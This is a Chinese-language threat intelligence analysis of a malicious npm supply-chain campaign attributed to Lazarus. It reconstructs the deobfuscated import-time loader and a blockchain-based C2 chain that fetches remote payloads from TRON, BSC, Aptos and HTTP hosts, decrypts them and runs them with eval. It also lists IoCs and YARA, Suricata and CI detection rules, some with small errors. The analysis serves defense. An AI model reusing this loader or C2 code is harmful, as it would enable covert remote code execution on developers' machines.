免责声明
本文仅用于安全研究、防御建设与安全教育目的。文中涉及的恶意包名、区块链钱包地址、C2 基础设施、混淆密钥等 IoC 指标均来自公开威胁情报与样本分析,严禁将本文任何技术细节用于非授权攻击、投毒或破坏他人系统。读者应在自有授权环境中复现与验证。本文归属结论基于可观测的技术指纹关联,不代表任何官方政府立场,最终司法/政治归属应以执法机构通报为准。
一、攻击活动全景
1.1 两波攻击,一个组织
2026 年 5 月至 7 月,前端与全栈 JavaScript 开发者生态遭遇两波高度协调的恶意 npm 供应链攻击,分别被安全社区命名为 ChainVeil 与 ViteVenom。两波攻击在表面命名策略、诱饵主题上截然不同,但底层载荷引擎、混淆框架与 C2 基础设施高度同源。
2026 年 7 月 17 日,OpenSourceMalware 发布统一归属报告,将两波攻击合并认定为朝鲜 Lazarus 集团旗下 PolinRider 长期间谍行动的供应链投毒分支,该行动是已知 Contagious Interview(MITRE G1052) 行动的供应链侧延伸——后者长期通过虚假招聘面试诱骗开发者运行恶意 coding 测试,而 PolinRider 则把同一套载荷引擎从"面试诱饵"移植到"npm 包投毒"通道,极大扩展了潜在受害面。
| 维度 | ChainVeil 集群 | ViteVenom 集群 |
|---|---|---|
| 时间窗口 | 2026 年 5–6 月 | 2026 年 6–7 月 |
| 包数量 | 9 个 | 7 个 |
| 发布者 | successkeyteck | 多个 @vite-* 作用域账号 |
| 命名策略 | Typosquatting + 仿热门工具 | 模仿官方 @vitejs/* 命名空间 |
| 总下载量 | 约 4,600+(两集群合计) | — |
| 载荷引擎 | 同源(lib/lib.min.js) | 同源 |
| C2 机制 | 四层区块链(Tron→BSC→Aptos→HTTP) | 同源 |
1.2 行业首创:四层区块链 C2
本次攻击最显著的技术创新是引入了四层冗余区块链 C2 信道。攻击者将传统的"死信箱"(dead drop)思路从 GitHub Gist / TG 等中心化平台迁移到公链上:
- Tier 1 — TRON 死信查询:受害者查询攻击者 TRON 钱包的最近一笔
only_from=true已确认交易,从raw_data.data字段解码出一条 BSC 交易哈希。 - Tier 2 — BSC 载荷拉取:用该 BSC 交易哈希调用
eth_getTransactionByHash,从交易input字段提取加密载荷。 - Tier 3 — Aptos 备用信道:TRON 查询失败时,切换到 Aptos 链读取同样的指令指针。
- Tier 4 — HTTP C2 直连:区块链路径全部失败时,回退到传统 HTTPS C2。
这套设计的核心优势在于抗关停:链上数据由数千个节点共识存储,没有任何单一平台能"删除"攻击者的指令;同时指令更新只需攻击者向自己的钱包发一笔交易,成本极低、延迟极短。链上钱包历史可追溯到 2025 年 6 月——比首个恶意包发布早近一年,说明这是一场精心准备的长期行动。
1.3 攻击链全景流程图
┌──────────────────────────────────────────────────────────────────────────┐
│ ChainVeil / ViteVenom 攻击链全景 │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ [投递层] │
│ ├── ChainVeil: typosquatting (rate-limit-flexible ← rate-limiter-…) │
│ ├── ChainVeil: 仿热门工具名 (tailwindcss-animates-kit, sass-format, …) │
│ └── ViteVenom: @vite-* 作用域仿冒 (@vitejs/* 官方命名空间) │
│ │ │
│ ▼ npm install(无任何 install 脚本,审计工具放行) │
│ [触发层] ← 关键:Import 时执行,而非 Install 时执行 │
│ require()/import 加载 lib/lib.min.js │
│ │ │
│ ▼ Stage 0: 全局别名 + Fisher-Yates 洗牌去混淆 (seed 2540575) │
│ [混淆层] Stage 1: 二次洗牌 (seed 6964224) │
│ 三层堆叠: _$_1e42 洗牌(seed 2857687) → sfL 排列(seed 2667686) → Function │
│ │ │
│ ▼ 还原出 C2 客户端代码 │
│ [C2 层] 四层冗余区块链信道 │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Tier 1: TRON api.trongrid.io → raw_data.data → BSC tx hash │ │
│ │ Tier 2: BSC bsc-dataseed → eth_getTransactionByHash → payload │ │
│ │ Tier 3: Aptos (TRON 失败时切换) │ │
│ │ Tier 4: HTTP C2 (区块链全失败时回退) 166.88.54.158:443 等 │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ XOR 解密 + eval() │
│ [执行层] 第二阶段载荷落地 │
│ ├── 信息窃取(凭据、环境变量、SSH 密钥) │
│ ├── 持久化 │
│ └── 后续横向/渗出 │
│ │
└──────────────────────────────────────────────────────────────────────────┘
二、恶意包清单:两个集群的命名策略
2.1 ChainVeil 集群(9 个包,发布者 successkeyteck)
ChainVeil 采用两种命名策略混用:一是Typosquatting,针对已有合法包做极小幅度变形;二是抢注热门工具名变体,利用开发者对 tailwindcss、sass、clsx 等前端工具名的高频搜索习惯。
| 恶意包名 | 仿冒对象 | 策略 |
|---|---|---|
rate-limit-flexible |
rate-limiter-flexible |
Typosquat(少 "er") |
rate-limits-flexible |
rate-limiter-flexible |
Typosquat(复数变体) |
tailwindcss-animates-kit |
tailwindcss 生态 | 抢注工具名变体 |
tailwindcss-animatics |
tailwindcss 生态 | 抢注工具名变体 |
tailwindcss-merge (1.0.1–1.0.4) |
合法包 tailwind-merge |
名字混淆 |
sass-format |
sass 生态 | 抢注工具名 |
sass-formats |
sass 生态 | 抢注工具名复数 |
clsx-tailwind |
clsx + tailwind 组合 |
组合抢注 |
typeorm-encrypt |
typeorm 生态 | 抢注工具名 |
rate-limit-flexible是教科书级的 typosquat:合法包rate-limiter-flexible周下载量超百万,攻击者仅删去 "er" 两个字符,Levenshtein 距离为 2,极易被开发者手误或自动补全误装。
2.2 ViteVenom 集群(7 个包)
ViteVenom 的策略更隐蔽:利用 npm 的 scoped package 机制,注册 @vite-* 作用域名,模仿官方 @vitejs/* 命名空间。开发者在搜索 vite 相关插件时,极易把 @vite-pro/vite-ui 误认为官方出品。
| 恶意包名 | 仿冒对象 |
|---|---|
@uw010010/vite-tree |
vite 工具链 |
@vite-tab/tab |
vite 插件 |
@vite-ln/build-ts |
vite 构建 |
@vite-mcp/vite-type |
vite + MCP |
@vite-pro/vite-ui |
vite UI 组件 |
@vitets/vite-ts |
vite TS |
@vite-ts/vite-ui |
vite UI 组件 |
两个集群合计 16 个恶意包,总下载量约 4,600+。下载量看似不大,但考虑到这些都是定向投毒、攻击者追求的是"质量"而非"数量"——只要命中少数高价值开发者(掌握企业源码仓库、CI/CD 凭据的),即可造成重大损失。
三、核心技术:Import 时执行(无 Install 脚本)
3.1 为什么这绕过了主流检测
绝大多数 npm 供应链安全工具(包括 npm audit、Snyk 的 install-time 策略、 Socket 的 install-script 检测)都将检测重心放在 package.json 中的脚本钩子上:
{
"scripts": {
"preinstall": "...",
"postinstall": "...",
"install": "...",
"prepare": "..."
}
}
ChainVeil / ViteVenom 的 package.json 完全不包含任何 install 脚本。恶意载荷被隐藏在 lib/lib.min.js 中,由包的主入口 main 字段指向。当受害项目 require() 或 import 该包时,Node.js 模块加载器自动执行该文件,恶意代码随之运行。
关键后果:仅扫描 install 脚本的安全工具会把这些包标记为 "clean",给出虚假的安全感。这正是本攻击的"隐身"核心。
3.2 入口陷阱还原
恶意包的 package.json(精简还原):
{
"name": "rate-limit-flexible",
"version": "1.0.0",
"main": "lib/lib.min.js",
"description": "Node.js rate limit flexible library (fast, efficient)",
"keywords": ["rate", "limit", "flexible", "middleware"]
}
lib/lib.min.js 的开头并不是合法的限流库代码,而是一段高度混淆的加载器。它表面上导出一个看似无害的空对象或桩函数,但在模块顶层(即加载即执行的区域)插入了 Stage 0 混淆引导代码:
// lib/lib.min.js 顶层(去混淆后概念还原)
module.exports = { /* 空桩,保证 require 不报错 */ };
// ===== 以下为加载即执行的恶意引导 =====
global['_V'] = 'A6-519-83'; // Campaign ID(A6 前缀统一标识)
global['r'] = require; // 别名隐藏 require
global['m'] = module; // 别名隐藏 module
// 随后调用种子化 Fisher-Yates 洗牌还原真实载荷(见下节)
注意 global['r'] = require 这一招:后续代码全部通过 r('crypto')、r('https') 来加载内置模块,使得传统的关键词扫描(搜索 require('child_process') 等高危调用)完全失效。
四、混淆技术:种子化 Fisher-Yates 字符串洗牌
4.1 三层混淆堆叠架构
ChainVeil / ViteVenom 的载荷并非简单的 base64 或 XOR,而是采用了一套种子化 Fisher-Yates 洗牌驱动的多层字符串重排引擎。其核心思想是:把所有敏感字符串(API 端点、钱包地址、XOR 密钥)按字符打散成乱序数组,运行时用硬编码种子驱动洗牌逆运算还原原始字符串。
三层堆叠结构如下:
Stage 0 (seed 2540575) 全局别名 + 初次洗牌还原引导代码
│
▼
Stage 1 (seed 6964224) 二次洗牌还原 C2 客户端骨架
│
▼
Layer A: _$_1e42 洗牌 (seed 2857687) → 字符串数组重排
Layer B: sfL 排列 (seed 2667686) → 字符级排列变换
Layer C: Function 构造器 → 动态生成并执行最终代码
每一层都用不同的硬编码种子,意味着即使逆向者破解了某一层,仍需逐层破解才能拿到完整明文。
4.2 Fisher-Yates 洗牌引擎还原
以下是去混淆后的 Fisher-Yates 洗牌核心引擎(基于样本还原,命名已规整):
// 种子化 Fisher-Yates 洗牌(还原版)
// 攻击者用它对字符串数组做确定性打乱,运行时再用相同种子"逆洗牌"还原
function seededShuffle(arr, seed) {
let m = arr.length, t, i;
let state = seed; // 线性同余 PRNG 状态
while (m) {
// 简单 LCG 生成伪随机数
state = (state * 1103515245 + 12345) & 0x7fffffff;
i = Math.floor((state / 0x7fffffff) * m--);
// 交换 arr[m] 与 arr[i]
t = arr[m];
arr[m] = arr[i];
arr[i] = t;
}
return arr;
}
// 还原阶段:用与打乱时相同的种子再做一次洗牌即可恢复原序
// (Fisher-Yates 的对合性质:同种子洗两次回到原序)
function unshuffle(arr, seed) {
// 需要逆向应用交换序列,此处略去逆序细节
// 攻击者实际用的是"同种子重洗 = 还原"的数学性质
return seededShuffle(arr, seed);
}
// 实际样本中的种子
const STAGE0_SEED = 2540575;
const STAGE1_SEED = 6964224;
const LAYER_A_SEED = 2857687; // _$_1e42 洗牌
const LAYER_B_SEED = 2667686; // sfL 排列
Stage 0 引导代码用 seed 2540575 把一个被打乱的字符串表还原成可读的 C2 端点、钱包地址列表;Stage 1 用 seed 6964224 还原出 C2 客户端逻辑骨架;Layer A/B 再做两轮字符级重排,最终通过 Function 构造器动态生成代码字符串并 eval/call。
4.3 全局别名规避关键词扫描
除了洗牌,Stage 0 还设置了一批全局别名来规避静态扫描:
global['_V'] = 'A6-519-83'; // Campaign Marker
global['r'] = require; // 隐藏 require 调用
global['m'] = module; // 隐藏 module 引用
// 后续代码中: r('https') 而非 require('https')
// m.exports 而非 module.exports
这使得基于 AST 或正则的 require('child_process')、require('net') 等高危调用扫描全部失效——扫描器看到的是 r(...),无法识别其语义。
五、四层区块链 C2 通信完整还原
这是本攻击最具创新性、也最值得深入分析的部分。以下代码基于样本去混淆后的逻辑还原,命名已规整,核心流程完整保留。
5.1 Tier 1 — TRON 死信查询
受害者机器首先查询攻击者 TRON 钱包的最近一笔"从该钱包发出"的已确认交易。攻击者把指令(一个 BSC 交易哈希)编码为 hex 写入交易的 raw_data.data 字段,并做一次字符反转作为简单混淆。
// Tier 1: TRON 死信查询
const TRON_ADDRESS = "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP";
async function queryTronDeadDrop() {
const url = "https://api.trongrid.io/v1/accounts/" + TRON_ADDRESS +
"/transactions?only_confirmed=true&only_from=true&limit=1";
const resp = await c(url); // c = 封装的 https GET
// 取最新一笔交易的 raw_data.data 字段
const hexData = resp.data[0].raw_data.data;
// hex → utf8 → 字符反转 → 得到 BSC 交易哈希
const bscTxHash = Buffer.from(hexData, "hex")
.toString("utf8")
.split("")
.reverse()
.join("");
return bscTxHash;
}
设计要点:only_from=true 确保只查询攻击者自己发出的交易,避免被其他人向该钱包转账污染。攻击者更新指令只需向自己钱包发一笔带 data 的 TRX 转账(成本约 1 TRX),秒级生效,且链上永久不可篡改。
5.2 Tier 2 — BSC 载荷拉取
拿到 BSC 交易哈希后,受害者通过 BSC RPC 节点调用 eth_getTransactionByHash,从交易 input 字段提取加密载荷。攻击者把载荷伪装成普通合约调用数据,用 ?.? 作为分隔符切分出真正的密文段。
// Tier 2: BSC 载荷拉取
async function fetchBscPayload(bscTxHash) {
const tx = await rpc(
'eth_getTransactionByHash',
[bscTxHash],
'bsc-dataseed.binance.org'
);
// 交易 input 字段(hex)→ utf8 → 用 "?.?" 分隔取第二段
const decoded = Buffer.from(tx.result.input.substring(2), 'hex')
.toString('utf8');
// 格式: <伪装前缀>?.?<XOR密文>
const encrypted = decoded.split('?.?')[1];
return encrypted;
}
// BSC JSON-RPC 封装
async function rpc(method, params, endpoint) {
const body = JSON.stringify({
jsonrpc: "2.0", id: 1, method: method, params: params
});
const resp = await c("https://" + endpoint, {
method: "POST", headers: { "Content-Type": "application/json" },
body: body
});
return resp;
}
5.3 XOR 解密与执行
提取出的密文用硬编码 XOR 密钥逐字节解密,然后 eval 执行。多个样本中复用了相同的 XOR 密钥,这成为后续归属 Lazarus 的关键指纹之一。
// XOR 解密并执行
const XOR_KEY = "2[gWfGj;<:-93Z^C"; // 硬编码密钥(与 Lazarus 历史样本重合)
async function decryptAndExecute(encrypted) {
let decrypted = "";
for (let i = 0; i < encrypted.length; i++) {
decrypted += String.fromCharCode(
encrypted.charCodeAt(i) ^ XOR_KEY.charCodeAt(i % XOR_KEY.length)
);
}
// 此时 decrypted 是第二阶段 JS 载荷明文
eval(decrypted); // 执行
}
5.4 Tier 3 — Aptos 备用信道
当 TRON 查询失败(API 限流、节点宕机)时,载荷切换到 Aptos 链读取同样的指令指针。Aptos 信道使用不同的钱包地址,但指令格式与 TRON 一致,确保主备信道指令同步。
// Tier 3: Aptos 备用信道
const APTOS_ADDRESS = "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e";
async function queryAptosDeadDrop() {
const url = "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" +
APTOS_ADDRESS + "/transactions?limit=1";
const resp = await c(url);
// Aptos 交易 payload 中提取指令(与 TRON 同构)
const payloadHex = resp[0].payload.arguments[0];
const bscTxHash = Buffer.from(payloadHex, "hex")
.toString("utf8").split("").reverse().join("");
return bscTxHash;
}
5.5 Tier 4 — HTTP C2 直连回退
当所有区块链路径都失败时(极少见,但攻击者做了兜底),载荷回退到传统 HTTPS C2 直连。这批 IP 与朝鲜 APT 历史基础设施存在重叠。
// Tier 4: HTTP C2 直连(区块链全失败时回退)
const HTTP_C2_ENDPOINTS = [
"https://166.88.54.158:443/gate",
"https://198.105.127.210:443/gate",
"mongodb://23.27.202.27:27017" // 伪装 MongoDB 流量
];
async function httpFallback() {
for (const ep of HTTP_C2_ENDPOINTS) {
try {
const payload = await c(ep + "?id=" + global['_V']);
if (payload) return payload;
} catch (e) { continue; }
}
}
5.6 四层调度逻辑
// 四层 C2 调度主流程
async function c2MainLoop() {
let payload = null;
try {
// Tier 1 + 2: TRON → BSC
const bscHash = await queryTronDeadDrop();
payload = await fetchBscPayload(bscHash);
} catch (e1) {
try {
// Tier 3: Aptos 备用
const bscHash2 = await queryAptosDeadDrop();
payload = await fetchBscPayload(bscHash2);
} catch (e2) {
// Tier 4: HTTP 直连回退
payload = await httpFallback();
}
}
if (payload) await decryptAndExecute(payload);
}
这套设计的战略意义:即便安全厂商封禁了所有 C2 IP,攻击者只需发一笔链上交易即可切换到全新 IP;即便 TRON API 被封,还有 Aptos;即便区块链全断,还有 HTTP。防守方几乎无法通过"封 IP"来切断攻击者的指令下发通道,必须从"检测链上钱包交互行为"和"阻断 Import 时执行"两端同时发力。
六、归属 Lazarus APT 的字节级证据链
OpenSourceMalware 将 ChainVeil / ViteVenom 归属 Lazarus 集团 PolinRider 行动,依据并非单一指纹,而是五组字节级重合指纹 + Campaign Marker 体系 + 时间线佐证构成的多维证据矩阵。
6.1 五组字节级重合指纹
以下指纹在 ChainVeil / ViteVenom 样本与 Lazarus 历史已知样本(Contagious Interview 系列载荷)中逐字节完全一致:
| 指纹类型 | 值 | 重合意义 |
|---|---|---|
| XOR 密钥 1 | 2[gWfGj;<:-93Z^C |
16 字节硬编码密钥,跨活动复用 |
| XOR 密钥 2 | m6:tTh^D)cBz?NM] |
第二组密钥,同样跨样本重合 |
| XOR 密钥 3 | ThZG+0jfXE6VAGOJ |
第三组密钥 |
| TRON 钱包 1 | TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP |
主死信箱 |
| TRON 钱包 2 | TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG |
备用死信箱 |
| Aptos 地址 | 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e |
Aptos 备用信道 |
两组 16 字节 XOR 密钥在密码学上是 128 比特随机串,跨独立活动出现完全一致的概率在统计上可忽略。这种重合只能由"同一开发团队复用代码"解释。
6.2 Campaign Marker 体系
所有样本在 Stage 0 设置 global['_V'] = 'A6-519-83' 这类标识。A6- 前缀是 PolinRider 行动的统一标识,后缀数字(如 519、83)递增,用于追踪载荷版本与分发批次。这种"行动编号 + 版本号"的管理方式是国家级 APT 长期行动的典型工程化特征,普通犯罪团伙通常不会维护如此规范的版本体系。
A6-519-83 → A6 = PolinRider 行动标识
519 = 载荷批次/版本
83 = 子版本/构建号
6.3 时间线佐证
区块链 C2 钱包的链上历史可追溯到 2025 年 6 月,比 ChainVeil 首个恶意包发布(2026 年 5 月)早近一年。这说明:
- 攻击者在投毒前近一年就开始部署区块链 C2 基础设施,进行了充分的环境验证与演练。
- 这些钱包可能早在 Contagious Interview 阶段就被用于面试诱饵载荷分发,供应链投毒只是同一基础设施的新应用场景。
- 钱包地址一旦公开归属,攻击者很难在不暴露行动连续性的前提下迁移——链上历史是不可篡改的"犯罪现场"。
6.4 与 Contagious Interview(G1052)的关联
Contagious Interview 是 Lazarus 长期运行的虚假招聘行动:攻击者伪装成加密货币公司 HR,以" coding 测试"为名诱骗开发者运行恶意 Node.js 工程。PolinRider 被认为是该行动的供应链分支——两者共享同一套载荷引擎、混淆框架与 XOR 密钥,但投递通道从"一对一面试诱饵"扩展为"一对多 npm 投毒",显著放大了受害规模。
七、IoC 完整清单
以下指标仅供防御检测使用。攻击者可能轮换钱包/密钥,建议结合行为特征(Import 时执行、链上 RPC 调用、XOR 解密 + eval)建立行为检测。
7.1 恶意 npm 包(16 个)
| 集群 | 包名 | 发布者 |
|---|---|---|
| ChainVeil | tailwindcss-animates-kit |
successkeyteck |
| ChainVeil | tailwindcss-animatics |
successkeyteck |
| ChainVeil | tailwindcss-merge (1.0.1–1.0.4) |
successkeyteck |
| ChainVeil | sass-format |
successkeyteck |
| ChainVeil | sass-formats |
successkeyteck |
| ChainVeil | clsx-tailwind |
successkeyteck |
| ChainVeil | typeorm-encrypt |
successkeyteck |
| ChainVeil | rate-limits-flexible |
successkeyteck |
| ChainVeil | rate-limit-flexible |
successkeyteck |
| ViteVenom | @uw010010/vite-tree |
@uw010010 |
| ViteVenom | @vite-tab/tab |
@vite-tab |
| ViteVenom | @vite-ln/build-ts |
@vite-ln |
| ViteVenom | @vite-mcp/vite-type |
@vite-mcp |
| ViteVenom | @vite-pro/vite-ui |
@vite-pro |
| ViteVenom | @vitets/vite-ts |
@vitets |
| ViteVenom | @vite-ts/vite-ui |
@vite-ts |
7.2 区块链钱包地址
| 链 | 地址 | 用途 |
|---|---|---|
| TRON | TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP |
主死信箱 |
| TRON | TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG |
备用死信箱 |
| TRON | (另 3 个,见完整情报) | 载荷分发 |
| BSC | (3 个合约调用地址) | 载荷存储 |
| Aptos | 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e |
备用信道 |
7.3 C2 IP 与端点
| 类型 | 值 | 备注 |
|---|---|---|
| HTTP C2 | 166.88.54.158:443 |
Tier 4 回退 |
| HTTP C2 | 198.105.127.210:443 |
Tier 4 回退 |
| 伪装 MongoDB | 23.27.202.27:27017 |
伪装数据库流量 |
| 区块链 API | api.trongrid.io |
TRON 查询 |
| 区块链 API | bsc-dataseed.binance.org |
BSC RPC |
| 区块链 API | fullnode.mainnet.aptoslabs.com |
Aptos 查询 |
7.4 加密与混淆指纹
| 类型 | 值 |
|---|---|
| XOR 密钥 1 | 2[gWfGj;<:-93Z^C |
| XOR 密钥 2 | m6:tTh^D)cBz?NM] |
| XOR 密钥 3 | ThZG+0jfXE6VAGOJ |
| Campaign Marker | A6-519-83(A6- 前缀系列) |
| Fisher-Yates 种子 | 2540575, 6964224, 2857687, 2667686 |
| 全局别名 | global['_V'], global['r']=require, global['m']=module |
| 载荷文件路径 | lib/lib.min.js |
八、防御清单
8.1 YARA 检测规则
以下两条 YARA 规则分别针对恶意包的混淆引导特征与区块链 C2 调用特征,可直接集成到包扫描流水线中。
import "math"
rule NPM_ChainVeil_ViteVenom_Obfuscation_Stage0 {
meta:
description = "ChainVeil/ViteVenom Stage 0 混淆引导特征(Fisher-Yates 种子 + 全局别名)"
author = "threat-research"
date = "2026-07-17"
reference = "Lazarus PolinRider npm supply chain"
tags = "supply-chain npm lazarus apt blockchain-c2"
strings:
// 全局别名引导
$alias_v = "global['_V']" ascii
$alias_r = "global['r']=require" ascii nocase
$alias_m = "global['m']=module" ascii nocase
// Campaign Marker A6- 前缀
$campaign = /A6-[0-9]{3}-[0-9]{2}/ ascii
// Fisher-Yates 硬编码种子(十进制与 hex 两种编码)
$seed0_dec = "2540575" ascii
$seed1_dec = "6964224" ascii
$seedA_dec = "2857687" ascii
$seedB_dec = "2667686" ascii
// LCG 常数(Fisher-Yates PRNG)
$lcg_mul = "1103515245" ascii
$lcg_add = "12345" ascii
// 载荷路径
$libpath = "lib/lib.min.js" ascii
condition:
// 至少匹配 2 个全局别名 + 1 个 Campaign Marker + 2 个种子
(2 of ($alias_*)) and $campaign and
(2 of ($seed*_dec)) and (1 of ($lcg_*))
}
rule NPM_ChainVeil_ViteVenom_Blockchain_C2 {
meta:
description = "ChainVeil/ViteVenom 四层区块链 C2 调用特征"
author = "threat-research"
date = "2026-07-17"
reference = "Lazarus PolinRider npm supply chain"
tags = "supply-chain npm lazarus apt blockchain-c2"
strings:
// TRON 死信查询
$tron_api = "api.trongrid.io/v1/accounts/" ascii
$tron_only = "only_confirmed=true&only_from=true" ascii
// BSC RPC
$bsc_rpc = "bsc-dataseed.binance.org" ascii
$eth_rpc_m = "eth_getTransactionByHash" ascii
// Aptos 备用
$aptos_api = "fullnode.mainnet.aptoslabs.com" ascii
// XOR 密钥
$xor_key1 = "2[gWfGj;<:-93Z^C" ascii
$xor_key2 = "m6:tTh^D)cBz?NM]" ascii
$xor_key3 = "ThZG+0jfXE6VAGOJ" ascii
// 钱包地址
$tron_w1 = "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP" ascii
$tron_w2 = "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG" ascii
$aptos_addr = "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e" ascii nocase
// 分隔符与反转混淆
$split_sep = "?.?" ascii
$reverse_fn = "split(\"\").reverse().join(\"\")" ascii
// eval 执行
$eval_call = "eval(" ascii
condition:
// 区块链 C2 特征:TRON 或 Aptos 端点 + BSC RPC + XOR 密钥 + eval
(1 of ($tron_api, $aptos_api)) and $bsc_rpc and $eth_rpc_m and
(1 of ($xor_key*)) and $eval_call and
(1 of ($tron_w*, $aptos_addr))
}
8.2 Suricata / Snort 网络检测规则
以下 4 条规则覆盖区块链 RPC 调用、HTTP C2 回退与钱包地址外泄流量。注意区块链 API 本身是合法端点,因此规则结合了 URI 路径特征与钱包地址字符串来降低误报。
# 规则 1: TRON 死信查询 — 检测向特定钱包发起的 only_from 查询
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:" ChainVeil/ViteVenom TRON dead-drop query"; \
tls.sni; content:"api.trongroid.io"; nocase; \
pcre:"/accounts\/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP|accounts\/TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG/"; \
pcre:"/only_confirmed=true&only_from=true/"; \
classtype:trojan-activity; sid:1002001; rev:1;)
# 规则 2: BSC 载荷拉取 — 检测 eth_getTransactionByHash 调用
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:" ChainVeil/ViteVenom BSC payload fetch"; \
tls.sni; content:"bsc-dataseed.binance.org"; nocase; \
tls.directed.len; pcre:"/eth_getTransactionByHash/"; \
classtype:trojan-activity; sid:1002002; rev:1;)
# 规则 3: Aptos 备用信道 — 检测向 Aptos fullnode 的特定账户查询
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:" ChainVeil/ViteVenom Aptos fallback C2"; \
tls.sni; content:"fullnode.mainnet.aptoslabs.com"; nocase; \
pcre:"/0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e/Ui"; \
classtype:trojan-activity; sid:1002003; rev:1;)
# 规则 4: HTTP C2 直连回退 — 检测已知恶意 IP 的 443 连接
alert ip $HOME_NET any -> [166.88.54.158,198.105.127.210] any (msg:" ChainVeil/ViteVenom HTTP C2 fallback"; \
classtype:trojan-activity; sid:1002004; rev:1;)
8.3 CI/CD 检测 YAML 配置
以下 GitHub Actions 工作流在每次依赖变更时执行多维度检测:install 脚本扫描、Import 时执行行为检测、IoC 字符串扫描、区块链 C2 行为沙箱。
# .github/workflows/supply-chain-guard.yml
name: Supply Chain Guard (ChainVeil/ViteVenom aware)
on:
pull_request:
paths:
- 'package.json'
- 'package-lock.json'
- 'pnpm-lock.yaml'
schedule:
- cron: '0 6 * * *' # 每日定时全量扫描
jobs:
npm-security-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: 基础审计
run: npm audit --audit-level=high --omit=dev || true
# 1. 检查已知恶意包是否出现在依赖树中
- name: IoC 包名黑名单扫描
run: |
MALICIOUS_PKGS=(
"tailwindcss-animates-kit" "tailwindcss-animatics"
"tailwindcss-merge@1.0.1" "tailwindcss-merge@1.0.2"
"tailwindcss-merge@1.0.3" "tailwindcss-merge@1.0.4"
"sass-format" "sass-formats" "clsx-tailwind"
"typeorm-encrypt" "rate-limits-flexible" "rate-limit-flexible"
"@uw010010/vite-tree" "@vite-tab/tab" "@vite-ln/build-ts"
"@vite-mcp/vite-type" "@vite-pro/vite-ui"
"@vitets/vite-ts" "@vite-ts/vite-ui"
)
FOUND=0
for pkg in "${MALICIOUS_PKGS[@]}"; do
if npm ls "$pkg" 2>/dev/null | grep -q "$pkg"; then
echo "::error:: 发现恶意包: $pkg"
FOUND=1
fi
done
exit $FOUND
# 2. 扫描 node_modules 中的 IoC 字符串(XOR 密钥、钱包地址、Campaign Marker)
- name: IoC 字符串扫描
run: |
PATTERNS=(
"2\[gWfGj;<:-93Z\^C"
"m6:tTh\^D\)cBz\?NM\]"
"TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP"
"TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG"
"0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e"
"A6-519-83"
"only_confirmed=true&only_from=true"
)
HIT=0
for p in "${PATTERNS[@]}"; do
if grep -rE "$p" node_modules/ 2>/dev/null; then
echo "::error:: IoC 命中: $p"
HIT=1
fi
done
exit $HIT
# 3. 检测 Import 时执行风险:扫描所有包的 main 入口是否含可疑加载器
- name: Import-time 执行风险检测
run: |
# 检测全局别名 + eval + Function 构造器组合
npx -y eslint node_modules/ \
--no-eslintrc \
--rule '{
"no-eval": "error",
"no-new-func": "error"
}' \
--parser-options=ecmaVersion:2022,sourceType:module \
|| true
# 额外:grep 全局别名模式
if grep -rE "global\['._V.'\]|global\['.r.'\]\s*=\s*require" node_modules/; then
echo "::error:: 检测到 ChainVeil 风格全局别名引导"
exit 1
fi
# 4. 沙箱执行检测:在隔离容器中加载所有依赖,监控区块链 RPC 调用
- name: 区块链 C2 行为沙箱
run: |
# 使用 eBPF 监控 node 进程对 trongrid/aptoslabs/bsc-dataseed 的 DNS 查询
sudo apt-get install -y bpftrace
# 加载所有依赖并触发 main 入口
node -e "
const fs = require('fs');
const pkg = require('./package.json');
const deps = Object.keys(pkg.dependencies || {});
for (const d of deps) {
try { require(d); } catch(e) { /* 忽略加载错误 */ }
}
" &
NODE_PID=$!
# 监控 5 秒内的可疑 DNS
sudo timeout 5 bpftrace -e \
'tracepoint:syscalls:sys_enter_connect /comm=="node"/ {
printf("%s connect\n", comm);
}' || true
kill $NODE_PID 2>/dev/null || true
8.4 企业防护六条清单
| # | 措施 | 实施要点 |
|---|---|---|
| 1 | 禁用 install 脚本并扩展到 Import 时执行检测 | 全局配置 npm config set ignore-scripts true,但务必补齐"包入口文件静态分析"——本攻击正是绕过 install 脚本扫描。建议部署 Socket / Phylum 等支持入口文件分析的扫描器。 |
| 2 | 锁定依赖版本 + 私有镜像 | 使用 npm ci 而非 npm install,配合 Verdaccio / Nexus 私有镜像做白名单代理,新包首次引入需人工审批。Typosquat 包名在私有镜像阶段即可拦截。 |
| 3 | 区块链 RPC 出站管控 | 在企业 DNS 出口对 trongrid.io、bsc-dataseed.binance.org、aptoslabs.com 等区块链 API 做审计或阻断——开发终端通常无需访问这些端点。命中即高可疑。 |
| 4 | IoC 持续更新与威胁情报订阅 | 将本文 IoC 表导入 EDR / SIEM,订阅 OpenSourceMalware、Aikido 等供应链情报源。攻击者会轮换钱包,需建立"行为检测优先于签名检测"的策略。 |
| 5 | 开发者安全意识:Typosquatting 与作用域仿冒 | 定期培训:安装前核对包名拼写(rate-limiter-flexible vs rate-limit-flexible)、核对作用域归属(@vitejs/* 才是官方,@vite-* 是仿冒)、核对下载量与维护者历史。 |
